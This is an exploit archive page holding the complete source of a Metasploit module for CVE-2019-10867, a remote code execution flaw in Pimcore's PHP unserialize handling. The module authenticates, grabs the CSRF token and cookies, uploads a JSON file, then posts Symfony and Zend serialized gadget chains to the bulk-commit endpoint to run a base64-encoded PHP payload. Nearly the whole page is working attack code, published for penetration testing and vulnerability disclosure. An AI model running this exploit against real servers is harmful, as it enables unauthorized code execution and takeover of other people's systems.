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Pimcore Unserialize Remote Code Execution

Pimcore Unserialize Remote Code Execution
Posted Apr 29, 2019
Authored by Daniele Scanu, Fabio Cogno | Site metasploit.com

This Metasploit module exploits a PHP unserialize() in Pimcore before 5.7.1 to execute arbitrary code. An authenticated user with "classes" permission could exploit the vulnerability. The vulnerability exists in the "ClassController.php" class, where the "bulk-commit" method makes it possible to exploit the unserialize function when passing untrusted values in "data" parameter. Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony unserialize payload. Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.

tags | exploit, arbitrary, php
advisories | CVE-2019-10867
MD5 | 79730eefdd4acca72b854fb1e724225e

Pimcore Unserialize Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => "Pimcore Unserialize RCE",
'Description' => %q(
This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
execute arbitrary code. An authenticated user with "classes" permission
could exploit the vulnerability.

The vulnerability exists in the "ClassController.php" class, where the
"bulk-commit" method makes it possible to exploit the unserialize function
when passing untrusted values in "data" parameter.

Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony
unserialize payload.

Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniele Scanu', # Discovery & PoC
'Fabio Cogno' # Metasploit module
],
'References' =>
[
['CVE', '2019-10867'],
['URL', 'https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73'],
['URL', 'https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Pimcore 5.x (Symfony unserialize payload)', 'type' => :symfony],
['Pimcore 4.x (Zend unserialize payload)', 'type' => :zend]
],
'Payload' => {
'Space' => 8000,
'DisableNops' => true
},
'Privileged' => false,
'DisclosureDate' => "Mar 11 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "Base Pimcore directory path", '/']),
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
]
)
end

def login
# Try to login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'login', 'login'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

if res.code == 302 && res.headers['Location'] =~ /\/admin\/\?_dc=/
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

# Grabbing CSRF token and PHPSESSID cookie
return grab_csrftoken(res)
end

if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/
fail_with(Failure::NoAccess, 'Invalid credentials')
end

fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end

def grab_csrftoken(auth_res)
uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}"

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri),
'cookie' => auth_res.get_cookies
)

if res && res.code == 200
# Pimcore 5.x
unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
@csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
@pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0]
fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies
@pimcore_cookies << " pimcore_admin_sid=1;"

# Version
version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
print_version(version, build)
return assign_target(version)
end

# Pimcore 4.x
unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
@csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
@pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies

# Version
version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
print_version(version, build)
return assign_target(version)
end

# Version different from 4.x or 5.x
return nil
else
fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID')
end
end

def print_version(version, build)
print_status("Pimcore version: #{version}")
print_status("Pimcore build: #{build}")
end

def assign_target(version)
if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6')
print_good("The target is vulnerable!")
return targets[0]
elsif Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5')
print_good("The target is vulnerable!")
return targets[1]
else
print_error("The target is NOT vulnerable!")
return nil
end
end

def upload
# JSON file payload
fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1..9)}\", \"userModification\": \"#{rand(1..9)}\"}]}"
# construct POST data
data = Rex::MIME::Message.new
data.add_part(fpayload, 'application/json', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")

# send JSON file payload to bulk-import function
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'class', 'bulk-import'),
'vars_get' => { 'csrfToken' => @csrf_token },
'cookie' => @pimcore_cookies,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

if res.code == 200
json = res.get_json_document
if json['success'] == true
print_good("JSON payload uploaded successfully: #{json['filename']}")
return json['filename']
else
print_warning('Could not determine JSON payload file upload')
return nil
end
end
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'login')
)

unless res
return Exploit::CheckCode::Unknown
end

if res.code == 200 && res.headers =~ /pimcore/i || res.body =~ /pimcore/i
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
# Try to log in, grab csrfToken and select target
my_target = login
if my_target.nil?
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end

# Try to upload JSON payload file
fname = upload

unless fname.nil?
# Register uploaded JSON payload file for cleanup
register_files_for_cleanup(fname)
end

print_status("Selected payload: #{my_target.name}")

case my_target['type']
when :symfony
# The payload to execute
spayload = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"

# The Symfony object payload
serialize = "O:43:\"Symfony\\Component\\Cache\\Adapter\\ApcuAdapter\":3:{"
serialize << "s:64:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00mergeByLifetime\";"
serialize << "s:9:\"proc_open\";"
serialize << "s:58:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00namespace\";a:0:{}"
serialize << "s:57:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00deferred\";"
serialize << "s:#{spayload.length}:\"#{spayload}\";}"
when :zend
# The payload to execute
spayload = "eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"

# The Zend1 object payload
serialize = "a:2:{i:7;O:8:\"Zend_Log\":1:{s:11:\"\x00*\x00_writers\";a:1:{"
serialize << "i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\x00*\00_eventsToMail\";a:1:{"
serialize << "i:0;i:1;}s:22:\"\x00*\x00_layoutEventsToMail\";a:0:{}s:8:\"\00*\x00_mail\";"
serialize << "O:9:\"Zend_Mail\":0:{}s:10:\"\x00*\x00_layout\";O:11:\"Zend_Layout\":3:{"
serialize << "s:13:\"\x00*\x00_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{"
serialize << "s:16:\"\x00*\x00_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\x00*\x00_replacement\";"
serialize << "S:#{spayload.length}:\"#{spayload}\";}"
serialize << "s:20:\"\x00*\x00_inflectorEnabled\";b:1;s:10:\"\x00*\x00_layout\";"
serialize << "s:6:\"layout\";}s:22:\"\x00*\x00_subjectPrependText\";N;}}};i:7;i:7;}"
end

# send serialized payload
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin', 'class', 'bulk-commit'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'cookie' => @pimcore_cookies,
'vars_post' => {
'filename' => fname,
'data' => JSON.generate(
'type' => 'customlayout',
'name' => serialize
)
},
'headers' => {
'X-pimcore-csrf-token' => @csrf_token
}
}, 30
)
end
end
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